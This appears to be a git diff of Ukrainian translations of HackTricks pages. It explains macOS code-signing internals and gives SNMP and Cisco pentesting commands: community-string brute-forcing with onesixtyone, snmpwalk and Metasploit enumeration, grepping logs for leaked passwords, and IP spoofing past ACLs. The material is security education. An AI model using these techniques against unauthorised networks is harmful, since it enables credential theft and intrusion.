-4=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-3=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
|
||||
-1=0000000000000000000000000000000000000000000000000000000000000000
|
||||
0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
|
||||
1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
|
||||
2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
|
||||
[...]
|
||||
|
||||
# Calculate the hasehs of each page manually
|
||||
BINARY=/bin/ps
|
||||
SIZE=`stat -f "%Z" $BINARY`
|
||||
PAGESIZE=4096 # From the previous output
|
||||
PAGES=`expr $SIZE / $PAGESIZE`
|
||||
for i in `seq 0 $PAGES`; do
|
||||
dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
|
||||
done
|
||||
openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Зверніть увагу, що програми можуть також містити **entitlement blob**, де визначені всі права. Більше того, деякі бінарні файли iOS можуть мати свої права, специфічні для спеціального слота -7 (замість спеціального слота -5).
|
||||
|
||||
## Special Slots
|
||||
|
||||
MacOS програми не мають всього необхідного для виконання всередині бінарного файлу, але також використовують **зовнішні ресурси** (зазвичай всередині **bundle** програм). Тому в бінарному файлі є кілька слотів, які міститимуть хеші деяких цікавих зовнішніх ресурсів, щоб перевірити, чи не були вони змінені.
|
||||
|
||||
Насправді, в структурах Code Directory можна побачити параметр **`nSpecialSlots`**, який вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (з -1 до -6) це:
|
||||
|
||||
* Хеш `info.plist` (або той, що всередині `__TEXT.__info__plist`).
|
||||
* Хеш вимог
|
||||
* Хеш каталогу ресурсів (хеш файлу `_CodeSignature/CodeResources` всередині bundle).
|
||||
* Специфічний для програми (не використовується)
|
||||
* Хеш прав
|
||||
* Тільки DMG підписи коду
|
||||
* DER Entitlements
|
||||
|
||||
## Code Signing Flags
|
||||
|
||||
Кожен процес має пов'язану бітову маску, відому як `status`, яка ініціюється ядром, і деякі з них можуть бути переозначені **підписом коду**. Ці прапори, які можуть бути включені в підпис коду, [визначені в коді](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
#define CS_ADHOC 0x00000002 /* ad hoc signed */
|
||||
#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
|
||||
#define CS_INSTALLER 0x00000008 /* has installer entitlement */
|
||||
|
||||
#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
|
||||
#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
|
||||
|
||||
#define CS_HARD 0x00000100 /* don't load invalid pages */
|
||||
#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
|
||||
#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
|
||||
#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
|
||||
|
||||
#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
|
||||
#define CS_REQUIRE_LV 0x00002000 /* require library validation */
|
||||
#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
|
||||
#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
|
||||
|
||||
#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
|
||||
#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
|
||||
|
||||
#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
|
||||
CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||
|
||||
#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
|
||||
#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
|
||||
#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
|
||||
#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
|
||||
|
||||
#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
|
||||
#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
|
||||
#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
|
||||
#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
|
||||
#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
|
||||
|
||||
#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
|
||||
#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
|
||||
#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
|
||||
#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
|
||||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
|
||||
|
||||
## Вимоги до підпису коду
|
||||
|
||||
Кожен додаток зберігає деякі **вимоги**, які він повинен **виконати**, щоб мати можливість виконуватися. Якщо **вимоги додатка не виконуються**, він не буде виконаний (оскільки, ймовірно, був змінений).
|
||||
|
||||
Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному слоті коду**.
|
||||
|
||||
Вимоги бінарного файлу можна побачити, запустивши:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -d -r- /bin/ls
|
||||
Executable=/bin/ls
|
||||
designated => identifier "com.apple.ls" and anchor apple
|
||||
|
||||
codesign -d -r- /Applications/Signal.app/
|
||||
Executable=/Applications/Signal.app/Contents/MacOS/Signal
|
||||
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Зверніть увагу, як ці підписи можуть перевіряти такі речі, як інформація про сертифікацію, TeamID, ID, права доступу та багато інших даних.
|
||||
{% endhint %}
|
||||
|
||||
Крім того, можливо згенерувати деякі скомпільовані вимоги, використовуючи інструмент `csreq`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Generate compiled requirements
|
||||
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
|
||||
|
||||
# Get the compiled bytes
|
||||
od -A x -t x1 /tmp/output.csreq
|
||||
0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
|
||||
0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
|
||||
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
|
||||
[...]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Можливо отримати цю інформацію та створити або змінити вимоги за допомогою деяких API з `Security.framework`, таких як:
|
||||
|
||||
#### **Перевірка дійсності**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`**: Перевіряє дійсність SecCodeRef відповідно до вимоги.
|
||||
* **`SecRequirementEvaluate`**: Валідовує вимогу в контексті сертифіката.
|
||||
* **`SecTaskValidateForRequirement`**: Валідовує запущений SecTask відповідно до вимоги `CFString`.
|
||||
|
||||
#### **Створення та управління вимогами коду**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з двійкових даних, що представляють вимогу.
|
||||
* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкового виразу вимоги.
|
||||
* **`SecRequirementCopy[Data/String]`**: Отримує двійкове представлення даних `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Створює вимогу для членства в групі додатків.
|
||||
|
||||
#### **Доступ до інформації про підпис коду**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`**: Ініціалізує об'єкт `SecStaticCodeRef` з шляху файлової системи для перевірки підписів коду.
|
||||
* **`SecCodeCopySigningInformation`**: Отримує інформацію про підпис з `SecCodeRef` або `SecStaticCodeRef`.
|
||||
|
||||
#### **Модифікація вимог коду**
|
||||
|
||||
* **`SecCodeSignerCreate`**: Створює об'єкт `SecCodeSignerRef` для виконання операцій підпису коду.
|
||||
* **`SecCodeSignerSetRequirement`**: Встановлює нову вимогу для підписувача коду, яку потрібно застосувати під час підпису.
|
||||
* **`SecCodeSignerAddSignature`**: Додає підпис до коду, що підписується, з вказаним підписувачем.
|
||||
|
||||
#### **Валідуючи код з вимогами**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`**: Валідовує статичний об'єкт коду відповідно до вказаних вимог.
|
||||
|
||||
#### **Додаткові корисні API**
|
||||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Отримати SecRequirementRef з SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`**: Створює `SecCodeRef`, що представляє об'єкт коду на основі специфічних атрибутів, корисно для пісочниці.
|
||||
* **`SecCodeCopyPath`**: Отримує шлях файлової системи, пов'язаний з `SecCodeRef`.
|
||||
* **`SecCodeCopySigningIdentifier`**: Отримує ідентифікатор підпису (наприклад, Team ID) з `SecCodeRef`.
|
||||
* **`SecCodeGetTypeID`**: Повертає ідентифікатор типу для об'єктів `SecCodeRef`.
|
||||
* **`SecRequirementGetTypeID`**: Отримує CFTypeID `SecRequirementRef`.
|
||||
|
||||
#### **Прапори та константи підпису коду**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: Значення за замовчуванням, що використовуються в багатьох функціях Security.framework для операцій підпису коду.
|
||||
* **`kSecCSSigningInformation`**: Прапор, що використовується для вказівки на те, що інформацію про підпис слід отримати.
|
||||
|
||||
## Виконання підпису коду
|
||||
|
||||
**Ядро** є тим, хто **перевіряє підпис коду** перед тим, як дозволити виконання коду додатка. Більше того, один зі способів мати можливість записувати та виконувати новий код в пам'яті - це зловживання JIT, якщо `mprotect` викликано з прапором `MAP_JIT`. Зверніть увагу, що додаток потребує спеціального права, щоб мати можливість це робити.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) структура містить інформацію про права виконання процесу, що працює на ньому. `csb_platform_binary` також інформує, чи є додаток платформним бінарним файлом (що перевіряється в різні моменти операційною системою для застосування механізмів безпеки, таких як захист прав SEND до портів завдань цих процесів).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
vnode_t csb_vnode;
|
||||
void *csb_ro_addr;
|
||||
__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
|
||||
cpu_type_t csb_cpu_type;
|
||||
cpu_subtype_t csb_cpu_subtype;
|
||||
});
|
||||
__xnu_struct_group(cs_signer_info, csb_signer_info, {
|
||||
unsigned int csb_flags;
|
||||
unsigned int csb_signer_type;
|
||||
});
|
||||
off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
|
||||
off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
|
||||
off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
|
||||
vm_size_t csb_mem_size;
|
||||
vm_offset_t csb_mem_offset;
|
||||
void *csb_mem_kaddr;
|
||||
unsigned char csb_cdhash[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_hashtype;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
unsigned char csb_linkage[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_linkage_hashtype;
|
||||
#endif
|
||||
int csb_hash_pageshift;
|
||||
int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
|
||||
const CS_CodeDirectory *csb_cd;
|
||||
const char *csb_teamid;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
char *csb_supplement_teamid;
|
||||
#endif
|
||||
const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
|
||||
/*
|
||||
* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
|
||||
* cs_blob being within RO-memory to prevent modifications on the temporary stack
|
||||
* variable used to setup the blob.
|
||||
*/
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
|
||||
|
||||
unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
|
||||
__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
|
||||
/* The following two will be replaced by the csb_signer_type. */
|
||||
unsigned int csb_platform_binary:1;
|
||||
unsigned int csb_platform_path:1;
|
||||
});
|
||||
|
||||
/* Validation category used for TLE */
|
||||
unsigned int csb_validation_category;
|
||||
|
||||
#if CODE_SIGNING_MONITOR
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
|
||||
bool csb_csm_managed;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
## References
|
||||
|
||||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -58,14 +58,14 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
|
||||
Ось розбивка цієї адреси.
|
||||
|
||||
* 1 – це називається ISO, і це встановлює, що це OID. Саме тому всі OID починаються з "1".
|
||||
* 1 – це називається ISO, і це встановлює, що це OID. Саме тому всі OIDs починаються з "1".
|
||||
* 3 – це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій.
|
||||
* 6 – це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет.
|
||||
* 1 – це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет.
|
||||
* 4 – це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою.
|
||||
* 1 – це значення позначає, що пристрій виготовлений підприємством або бізнес-структурою.
|
||||
|
||||
Ці перші шість значень, як правило, однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OID, за винятком випадків, коли пристрій виготовлений урядом.
|
||||
Ці перші шість значень, як правило, однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлений урядом.
|
||||
|
||||
Продовжуючи до наступного набору чисел.
|
||||
|
||||
|
@ -76,32 +76,32 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
Інші значення надають специфічну інформацію про пристрій.
|
||||
|
||||
* 5 – позначає дискретну точку тривоги.
|
||||
* 1 – конкретна точка в пристрої
|
||||
* 3 – порт
|
||||
* 21 – адреса порту
|
||||
* 1 – дисплей для порту
|
||||
* 4 – номер точки
|
||||
* 7 – стан точки
|
||||
* 1 – конкретна точка в пристрої.
|
||||
* 3 – порт.
|
||||
* 21 – адреса порту.
|
||||
* 1 – дисплей для порту.
|
||||
* 4 – номер точки.
|
||||
* 7 – стан точки.
|
||||
|
||||
### Версії SNMP
|
||||
|
||||
Існує 2 важливі версії SNMP:
|
||||
|
||||
* **SNMPv1**: Основна версія, вона все ще найпоширеніша, **автентифікація базується на рядку** (community string), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **community string як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **автентифікацію** і інформація передається **зашифровано** (можливий **атака методом підбору** але буде набагато важче знайти правильні дані, ніж у SNMPv1 і v2).
|
||||
* **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
|
||||
* **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифровано** (може бути виконано **атака за словником**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
|
||||
|
||||
### Community Strings
|
||||
### Рядки спільноти
|
||||
|
||||
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати community string у версіях 1 і 2/2c та облікові дані у версії 3.**\
|
||||
Існує **2 типи community strings**:
|
||||
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати рядок спільноти у версіях 1 і 2/2c та облікові дані у версії 3.**\
|
||||
Існує **2 типи рядків спільноти**:
|
||||
|
||||
* **`public`** в основному **тільки для читання** функцій
|
||||
* **`private`** **Читання/Запис** в загальному
|
||||
* **`public`** в основному **тільки для читання** функції.
|
||||
* **`private`** **Читання/Запис** в загальному.
|
||||
|
||||
Зверніть увагу, що **можливість запису OID залежить від використаного community string**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
|
||||
Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
|
||||
Якщо ви намагаєтеся **записати** об'єкт, ви отримаєте **помилку `noSuchName` або `readOnly`**.\*\*.\*\*
|
||||
|
||||
У версіях 1 і 2/2c, якщо ви використовуєте **поганий** community string, сервер не **відповість**. Тож, якщо він відповідає, було використано **дійсний community string**.
|
||||
У версіях 1 і 2/2c, якщо ви використовуєте **поганий** рядок спільноти, сервер не **відповість**. Отже, якщо він відповідає, то **використовувався дійсний рядок спільноти**.
|
||||
|
||||
## Порти
|
||||
|
||||
|
@ -111,9 +111,9 @@ SNMP також використовує порт **162/UDP** для **трап
|
|||
* Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) на порт **162**.
|
||||
* Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**.
|
||||
|
||||
## Атака методом підбору Community String (v1 і v2c)
|
||||
## Брутфорс рядка спільноти (v1 і v2c)
|
||||
|
||||
Щоб **вгадати community string**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний community string - `public`.
|
||||
Щоб **вгадати рядок спільноти**, ви можете виконати атаку за словником. Перевірте [тут різні способи виконання атаки брутфорсом проти SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
|
||||
|
||||
## Перерахування SNMP
|
||||
|
||||
|
@ -172,7 +172,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
* **Шлях до процесів**: Щоб визначити, звідки запускається процес, використовується значення MIB `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Одиниці зберігання**: Моніторинг одиниць зберігання здійснюється за допомогою `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Назва програмного забезпечення**: Для ідентифікації програмного забезпечення, встановленого на системі, використовується `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Облікові записи користувачів**: Значення `1.3.6.1.4.1.77.1.2.25` дозволяє відстежувати облікові записи користувачів.
|
||||
* **Користувацькі облікові записи**: Значення `1.3.6.1.4.1.77.1.2.25` дозволяє відстежувати користувацькі облікові записи.
|
||||
* **Локальні порти TCP**: Нарешті, `1.3.6.1.2.1.6.13.1.3` призначене для моніторингу локальних портів TCP, надаючи інформацію про активні мережеві з'єднання.
|
||||
|
||||
### Cisco
|
||||
|
@ -207,7 +207,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
|
||||
### **Пристрої**
|
||||
|
||||
Процес починається з витягування **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep command**:
|
||||
Процес починається з витягування **sysDesc MIB даних** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep команди**:
|
||||
```bash
|
||||
grep ".1.3.6.1.2.1.1.1.0" *.snmp
|
||||
```
|
||||
|
@ -219,13 +219,13 @@ grep -i "trap" *.snmp
|
|||
```
|
||||
### **Імена користувачів/Паролі**
|
||||
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково включати паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані:
|
||||
```bash
|
||||
grep -i "login\|fail" *.snmp
|
||||
```
|
||||
### **Emails**
|
||||
|
||||
Нарешті, для витягування **адрес електронної пошти** з даних використовується **команда grep** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
|
||||
Нарешті, для витягування **адрес електронної пошти** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
|
||||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
|
@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
|
||||
## Спуфінг
|
||||
|
||||
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у UDP-пакеті та прослуховувати трафік.
|
||||
Якщо є ACL, який дозволяє лише деяким IP запитувати службу SMNP, ви можете спуфити одну з цих адрес у пакеті UDP і прослухати трафік.
|
||||
|
||||
## Перевірка конфігураційних файлів SNMP
|
||||
|
||||
|
@ -243,7 +243,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP-агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які виконують роль паролів, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запис (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої.
|
||||
|
||||
Практичним інструментом для виконання таких атак брутфорсом є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає списку потенційних рядків спільноти та IP-адрес цілей:
|
||||
Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -54,7 +54,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
|
||||
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,15 +15,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **кар'єрі в хакерстві** and hack the unhackable - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Info
|
||||
|
||||
Веб-сервіс є найпоширенішим та найобширнішим сервісом, і існує багато різних типів вразливостей.
|
||||
Веб-сервіс є найпоширенішим та найширшим сервісом, і існує багато різних типів вразливостей.
|
||||
|
||||
**Порт за замовчуванням:** 80 (HTTP), 443(HTTPS)
|
||||
```bash
|
||||
|
@ -48,11 +48,11 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
